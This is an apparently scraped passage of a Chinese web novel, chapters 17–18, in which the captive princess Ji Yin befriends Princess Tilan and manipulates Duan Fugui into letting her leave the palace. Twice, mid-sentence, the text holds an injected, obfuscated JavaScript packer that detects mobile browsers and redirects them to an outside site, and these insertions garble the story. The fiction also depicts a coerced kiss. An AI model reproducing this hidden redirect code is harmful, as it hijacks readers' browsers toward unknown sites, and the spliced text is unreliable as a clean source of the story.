“问您有没有娶妃,有没有宠爱的夫人,听说没有,十分开心。”说这话时元都是笑着的,显然知道主子听了会是什么反应。 果然,段伏归勾了下唇角,眼里露出几分愉悦。 “难得她上心了。” 元都道:“主上救过夫人,又对夫人这么好,夫人心里岂能不感动?” 他想,自家主上位高权重,年轻英俊,哪个女人能不喜欢。 段伏归没再说话,昏黄的烛光中,凌厉的五官线条却在柔和下来,脑中渐渐浮现出她梨花带雨的模样…… 玉樨宫,纪吟躲在墙边的阴影里,看尤丽趁夜出了宫门,两刻钟后才折返回来,心中冷笑,果然跟她想的一样,这些宫女也不过是监视自己的棋子罢了。 17. 媞兰 第二天,纪吟在主殿外的院子里踢起了毽子。 此时日暖风轻,最适合出门活动。 穿越以来纪吟努力吃饭,虽把原主病弱的身体养了回来,长了些肉,体质依旧比不上寻常人。 身体是革命的本钱,她打定主意要逃,自然要把想办法把身体素质提上来,不然到时跑路都跑不动。 先前在路上没条件锻炼,现在她暂时迷惑住了段伏归,又表现出顺从的态度,得到他许诺的名分,她心情不错,玩儿玩儿女儿家的小游戏很正常吧,还能让监视她的人把情况汇报上去,趁机让他放松警惕,一举两得。 不过踢毽子看着轻松,实则尤其耗费体力。 她来到院子里,不过踢了两轮,还不到半刻钟,居然就有些喘气了。 真弱啊! 纪吟歇了一分钟,待喘得没那么厉害了,才又继续踢起来。 就在这时,宫门口出现了道俏丽的身影。 媞兰一进门就看到衣袂翩跹的纪吟,看她绯红烟紫的裙裾随着她踢毽子的动作翻飞舞动,一层一层的轻纱好似天边的晚霞飘荡聚散,一时被惊艳了愣在原地。 纪吟注意到这个年轻陌生的姑娘,停下动作,轻轻看过来。 她大约十四五岁,臂挽金钏,一头彩绳混编发辫,下坠红蓝宝石,明快靓丽。 一旁侍候的尤丽赶紧朝媞兰行礼,“见过媞兰公主。”又朝纪吟道,“媞兰公主是陛下最小的公主,与三皇子殿下很亲近。” 纪吟明白了,朝媞兰露出一个矜持友好的笑,却没说话,然后便见那小姑娘像只漂亮的小马驹一样轻快地跨进了院中。 媞兰来到纪吟面前,离得近了,才清晰看到纪吟的模样,只见她五官尤其精致,仿佛一笔一画勾勒出来的,肌肤雪白,因为运动脸颊泛起团团潮红,额角还渗出细密的汗珠,此刻娇喘微微,却反衬得她娇艳明媚,人比花娇;偏她脊背挺直,眼神清正,通身一股矜傲自持的气质,硬生生压住了这份娇艳,竟叫人不敢随意亵渎。 媞兰可算知道为什么这么多年一向对女人不假辞色的皇兄会留下这个齐国公主,还要封她为夫人了,便是她自己见到这样的美色也不能不心动。 “媞兰冒昧前来,阿嫂不介意吧。”小姑娘脆生生开口,声音甜美。 纪吟听到她对自己的称呼,眼神顿了下,随即摇了摇头,脸上似有几分羞涩,“还没举行典礼,我还不是……不敢当媞兰公主一句‘阿嫂’。” 媞兰见她语调柔和,神态可亲,看出她是个好相处的性子,主动上前一步挽住她胳膊,“当得起!”又用夸张的的语气说,“以前皇兄对下面的女人看都不看一眼,我今天才知道,原来是要阿嫂这样的。” 简单一句话,既点明了段伏归身边没有受宠的女人,又捧了她,语气又如此直白真诚,换作寻常依附男子而生的女子恐怕没有不高兴的,纪吟根本不在乎这些,面上倒也装出了两分喜悦和羞涩,忙自谦了两句。 “一直站在外面实在失礼,我们进屋说吧。”纪吟道,吩咐陶儿上茶,又说自己现在仪容不雅,请她稍等片刻,自己去整理整理。 纪吟走后,媞兰四下观察殿中的摆设,只见中间一麒麟宝座,上铺青缎刺绣忍冬团纹坐垫,座前一张紫檀黑漆蟠螭桌案,上置一错金铜博山炉,此时正冒着袅袅轻烟,一室宁香,再看宝座后的绘春夏秋冬四折屏风,柱间悬挂的缕金幔帐,落地青铜花树灯台,无不精致华美,可见皇兄是真上心了。 片刻后,纪吟洗过脸、换好衣裳出来,先道了两句歉,又道:“我进宫这么多天了,整日里无事可做,实在闷得很,还是头次有人来。” 媞兰立马接道:“那我以后常来,阿嫂可不要嫌我烦人。” “怎么会,我见你投缘,只盼着你来跟我说说话儿。唉,不怕你笑话,我是齐国人,不会说燕国的鲜卑语,更不要说交朋友了。”纪吟语气惆怅。 媞兰面上不显,心里却有几分高兴。 纪吟又问:“你是燕国人,竟能把汉话说得这么好?” 媞兰笑着道:“皇兄的阿妈有一半汉人血脉,会说汉语,我小时候跟在阿妈身边长大,就学会了几句。” “原来是这样。”纪吟点点头。难怪段伏归的汉语说得这么流利,这么看来,段伏归身上还有四分之一汉人血统呢。 这时陶儿端来两盘点心,纪吟推到她面前:“这是我们南边的风味,你尝尝合不合口味。” 媞兰拿起一块红豆玉酥,咬了一口,外皮酥脆,内里的红豆绵软香甜,吃完唇齿留香,实在可口。 “好吃,我喜欢!” “你平日在宫里都玩儿些什么?”纪吟一边招待她一边聊些家常。 “也没什么好玩儿的,喂喂鱼骑骑马,还要上课学汉字……” “汉字?” “是啊。”媞兰点点头,“父皇定下的规矩,鼓励族内学习汉字,他还主动穿汉服呢。” 纪吟十分意外,但结合她脑中的记忆,便明白燕国虽是胡人政权,但他们内迁已经数十年了,又与本地汉人杂居,各族或多或少都在汉化,也只有不断汉化改革,他们的政权才能在这片中原大地生存下去。 “我不喜欢上课,我喜欢骑马射箭,不过宫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643742|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方小,根本施展不开,一不小心还容易撞到人,我更喜欢去宫外骑马,尤其是菱阳河边。唉,可惜因为前不久那件事,宫里宫外到处都戒备森严,皇兄也不许我随便出宫,我都好久没出去玩儿了。”提起这事儿,小姑娘的表情肉眼可见地低落下来。 纪吟想了想道:“现在局势已经稳定下来了,相信要不了多久就能像从前那样了,我入宫前去过一次东市,看到几家绸缎铺子,花样新鲜又好看,还有家首饰铺子也不错,我们下次可以一起去。” “好啊好啊。”媞兰顿时高兴起来。 聊着天,时间一晃而过,媞兰终于发现自己待得够久了,连忙提出告辞。 待人走后,纪吟独自坐了会儿,又把尤丽叫到内室来。 “你给我说说媞兰公主的事吧。” 尤丽不知她具体想听什么,想了想,斟酌着说:“媞兰公主是陛下最小的公主,她母亲叫浑珂,只是一个普通女子,十几年前,浑珂娘娘的兄长在陛下帐下当差,一次在战场上替陛下挡了一箭,结果没救回来,陛下答应照顾他的家人,就把媞兰公主的母亲收在了身边。可惜浑珂娘娘生下媞兰公主没多久就去世了,陛下就把媞兰公主交给了三皇子的母亲莲夫人抚养,所以媞兰公主从小就跟三皇子亲近,只是后来三皇子外出打仗很少回宫,莲夫人也病亡了,媞兰公主在宫里就有些孤零零的。” “或许就是因为这,媞兰公主才主动来见您,您毕竟是三皇子的第一个夫人。” 尤丽说完,去看纪吟的脸,只见她神色淡淡的,不知道满意还是不满意,绞尽脑汁想了想,又说:“对了,还有件事。” 纪吟看过来。 “两个月前,先皇陛下给媞兰公主定了一门婚事,是左卫军统领呼延垂的儿子呼延启,婚期就在下月。”尤丽小声说。 这下纪吟明白媞兰为什么主动来见自己了。 她跟段伏归虽是兄妹,却并非同母,如今燕皇死了,接下来是段伏归当家做主,然而段伏归忙着外面的事,对这个妹妹的关心也有限,等她出嫁后要再见段伏归就更难了。 自己是段伏归的宠妃,至少在外人眼里他很宠自己,媞兰与自己打好关系,让自己在段伏归面前多关照她,或是常进宫探望她,媞兰在段伏归那儿便能多几分存在感。 这样的行径虽有些私心,但纪吟看得出媞兰没什么坏心,她并不讨厌,相反,多出现一个人,她就多一分机会,甚至今日交谈时她还刻意同媞兰交好。 晚上,洗漱完,纪吟穿着一身素绸寝衣,坐在美人榻上,一手拿着书一边在心里琢磨着怎么突破,段伏归突然来了。 18. 应付 纪吟心头一跳,书册脱手,不由心虚起来,疑心男人是不是洞察到自己的意图了,但转念一想,她现在还什么都没做,话语间也十分谨慎,他怎么可能知道,就算怀疑,只要她咬死了说没有,他也不能怎么样。 理清思绪,纪吟面上恢复镇定,起身整理衣摆,小步迎出去。 还不等她到外间,男人已大跨步走了过来。 纪吟连忙行礼,男人却一手抓住她纤细的手腕,“不用多礼。”然后带着她走到她先前坐的美人榻上。 纪吟只感觉自己的手被一只粗硬的火钳子钳住了,又热又硬,实在不习惯,轻轻挣了下,“我给殿下倒茶。” “不用。”段伏归一口拒绝,手上力道加重,不让她再乱动。 纪吟只好垂着头,装作乖顺的模样。 过了片刻,段伏归又说:“我登基的日子定下来了,就在七天后。” 这么快! “恭喜殿下。”纪吟强忍着抬起眸,露出一个笑。 “等登基大典结束,我就正式册封你为夫人。”他又道。 纪吟配合地露出一个羞涩的笑。 青铜花枝树灯台上的灯火昏昏黄黄,照在女孩儿的脸颊上,越显得她纤鼻丹唇,肌肤柔美无暇,他想要的江山、美人,如今尽握在手,段伏归心潮澎湃,抬手掐住她纤巧的下巴将人转回来,唇便欺了上去。 纪吟下意识推拒,挣扎片刻,反应过来后,她的力道便渐渐弱了,顺从地靠在男人胸前。 哼,就当被狗咬了一口! 有过一次经验,男人的吻技似比上次提高了许多,终于不是毫无章法的乱啃了,撬开她洁白的细齿,极具侵略性地气息将她笼罩,不知餍足地掠夺她的呼吸。 等男人好不容易放过她被吻得红肿的唇,纪吟刚要松一口气,却察觉他的气息在不停往下,搁在腰间的大掌也揉抚起来。 纪吟吓了大跳,生怕男人真上了头刹不住,用力推他。 段伏归这才仿佛回过神来,松了几分力道,一看,少女的杏眸中已蓄了水光。 “殿下别这样好不好?”她低低哀求。 然而她这番柔弱的姿态却让段伏归身体的火愈发炽盛,有那么一瞬间他甚至想就这么直接继续下去,却又想起她的性子,他知道她比一般女子更倔强,也知她心里还有两分不愿,但他不在乎,这小小的叛逆反激起了他的征服欲,他总有让她心甘情愿的时候。 段伏归决定再等上一等。 他自认自制力不错,以前从未对哪个女人如此冲动,此刻却有几分艰难,挣扎片刻后才终于放开了她。 纪吟赶紧往榻里挤了挤,环臂抱住膝盖。 段伏归看她有些被吓着了,心软了两分,“在玉樨宫住得惯吗?下面的人伺候得怎么样?有没有什么想要的?” 这算什么?主动关心?还是对宠物的恩赏?纪吟意外又可笑,却意识到这是个机会,于是道:“我没什么缺的,只是有一件事……” “什么事?” 纪吟小心看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650235|172363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,见他好像不曾生气,相反,估计是刚才爽了一把,此时脸上的表情还算得上温和,便道:“今天媞兰来了,我与她十分投缘,我在宫里这些天,她是我唯一一个朋友,她约我逛街,我不想辜负她的心意,能跟她一起出宫吗?” 纪吟撒了个小谎,媞兰并没有约她出宫,但纪吟猜段伏归不会去亲自去问媞兰,就算问了,媞兰想跟自己交好,多半会顺势承认下来。 段伏归对上她那双渴望期待的眼睛,一时也没多想便应了“好。”然而说完之后他脑中一根弦猛地绷了起来,记起她的不安分,在来燕国的路上几次想逃跑。 是,第一次见面他就看出她的不安分,只不过一路上有自己看着,段伏归相信她逃不出掌心便没太在意。 但此时,这股敏锐的直觉又冒了出来,尽管她表面上看着已经服从他了。 可才答应了她,现在反悔实在太失气度,又瞧她难得这么开心,段伏归便道:“城里鱼龙混杂,你们两个都是女子,出门不安全,我派元都护卫你们,这样我也放心。”说着,他捏了捏她的手腕,已然有几分不容拒绝的意思。 纪吟心中冷哼,什么护卫,不过是监视罢了,面上却笑得天真,“谢谢殿下。” 夜深露重,月上中天,又说了几句,段伏归终于离开。 亲自把人送到门外,看男人的背影彻底消失在宫墙外,纪吟这才折回室内,在心里把狗男人骂了个狗血淋头,然后抬起袖子狠狠擦了擦自己的嘴,吩咐道,“陶儿,打水。”